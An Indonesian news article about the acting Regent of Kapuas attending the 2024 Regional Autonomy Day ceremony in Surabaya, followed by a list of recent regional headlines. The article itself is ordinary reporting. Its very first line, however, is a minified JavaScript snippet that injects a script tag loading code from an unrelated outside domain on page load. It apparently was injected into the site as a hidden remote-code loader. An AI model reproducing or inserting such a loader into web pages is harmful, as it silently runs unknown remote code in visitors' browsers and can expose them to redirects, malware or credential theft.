(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pj Bupati Kapuas Hadiri Peringatan Hari Otda di Surabaya


KANALKALIMANTAN.COM, SURABAYA – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri peringatan Hari Otonomi Daerah (Otda) XXVIII tahun 2024 di Kota Surabaya, Jawa Timur, Kamis (25/4/2024) pagi.

Acara yang digelar Kementerian Dalam Negeri (Kemendagri) itu dihadiri oleh Presiden Jokowi dan Mendagri Muhammad Tito Karnavian, Inspektur Jendral Kemendagri Tomsi Tohir, Direktur Jenderal Otda Kemendagri Akmal Malik, dan para pejabat eselon II Kemendagri, gubernur, bupati, wali kota dan Forkopimda provinsi dan kabupaten kota se Indonesia.

Peringatan Hari Otda mengangkat tema “Otonomi Daerah Berkelanjutan Menuju Ekonomi Hijau dan Lingkungan yang Sehat”.

Dalam peringatan Hari Otda 2024, Kemendagri telah menjadwalkan dua agenda utama dalam rangkaian kegiatan nasional tersebut.

Baca juga: Sinyal H Muhidin-Hasnur di Pilgub Kalsel dari Foto ‘Kemesraan Politik’ Mengapit Crazy Rich HI

Kedua agenda itu adalah Upacara Peringatan Hari Otda 2024 yang digelar mulai pukul 07.00 WIB di Balai Kota Surabaya. Sedangkan agenda kedua Malam Apresiasi Penyelenggaraan Pemerintahan Daerah (Pemda) yang dimulai pukul 18.30 WIB di Ball Room Grand City Mall Surabaya.

“Dengan momentum ini, mari bersatu bangkitkan spirit pembangunan daerah,” seru Erlin Hardi.

Hari Otonomi Daerah ditetapkan berdasarkan Keputusan Presiden RI Nomor 11 Tahun 1996, tanggal 25 April dalam rangka memasyarakatkan dan memantapkan pelaksanaan otonomi daerah.

“Di usia otonomi daerah sudah menginjak 28 tahun, usia yang cukup dewasa untuk terus memacu semangat berotonomi daerah dalam pembangunan daerah,” sebut Erlin Hardi.

Baca juga: PLN UPT dan UPTG Palangkaraya Lakukan Uprating MTU

Erlin Hardi mengatakan, jika kegiatan ini adalah sebagai wadah silaturahmi bagi pemerintah pusat dan daerah untuk melakukan evaluasi pencapaian terhadap pelaksanaan kebijakan otonomi daerah. Otonomi daerah memberikan wewenang seluas-luasnya kepada daerah untuk mengatur daerahnya sendiri.

“Peringatan ini untuk mengingatkan kembali komitmen bersama pemerintah daerah dalam meningkatkan pelayanan umum, kesejahteraan masyarakat dan meningkatkan daya saing daerah sebagai tujuan dari otonomi daerah,” terangnya.

Sementara itu, Mendagri Muhammad Tito Karnavian menyampaikan, peringatan otonomi daerah adalah memperingati perubahan sistem pemerintahan yang di masa orde baru menggunakan sistem pemerintahan sentralistik kewenangan secara penuh dipegang pemerintah pusat, maka dengan adaya otonomi daerah sebagian kewenangan diserahkan ke pemerintah daerah.

“Kewenangan pemerintah umum melihat karakteristik Indonesia adalah negara yang beragam plural yang harus kita jaga betul persatuan dan kesatuannya,” tuturnya.

Baca juga: Jelajah Cagar Budaya Pelajar SMAN 1 Amuntai

Dengan adanya urusan pemerintahan kata dia, bertujuan agar daerah memiliki kewenangan lebih luas, sehingga bisa lebih berkreasi untuk menyelenggarakan pemerintahan masing-masing.

“Inilah disebut otonomi daerah, daerah yang otonom yang memiliki kewenangan yang lebih luas, demokrasi Indonesia merubah pemerintah yang sentralistik dengan mendelegasikan sebahagian kewenangan pusat kepada daerah,” paparnya.

Dia menambahkan, Indonesia dari Sabang sampai Merauke memiliki ciri khas masing-masing dan itu tidak dapat diperlakukan sama, sehingga kepala daerah dapat berkreasi sesuai karakteristik masing-masing. “Itulah kemudian diberikan kewenangan dari pusat kepada daerah,” timpalnya.

Dalam prateknya terjadi dinamika, permasalahan-permasalahan penyelenggaraan pemerintahan dalam menjalan urusan dan kewenangan menjadi dasar sistem pemerintahan otonomi daerah masih sistem yang terbaik di Indonesia.

Baca juga: ‘Koleksi’ Tiga Sajam Antar AW ke Polsek Banjarmasin Selatan

“Kewenangan kekuasaan cenderung menyimpang dan kewenangan yang sangat besar akan makin besar menyimpangnya kewenangan yang absolut pasti akan menyimpang, nah oleh karena itulah otonomi daerah dalam praktek implementasinya sangat cukup tepat selama ini,” pungkasnya. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Risa

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

9 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

12 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

12 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

15 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

16 jam ago

This website uses cookies.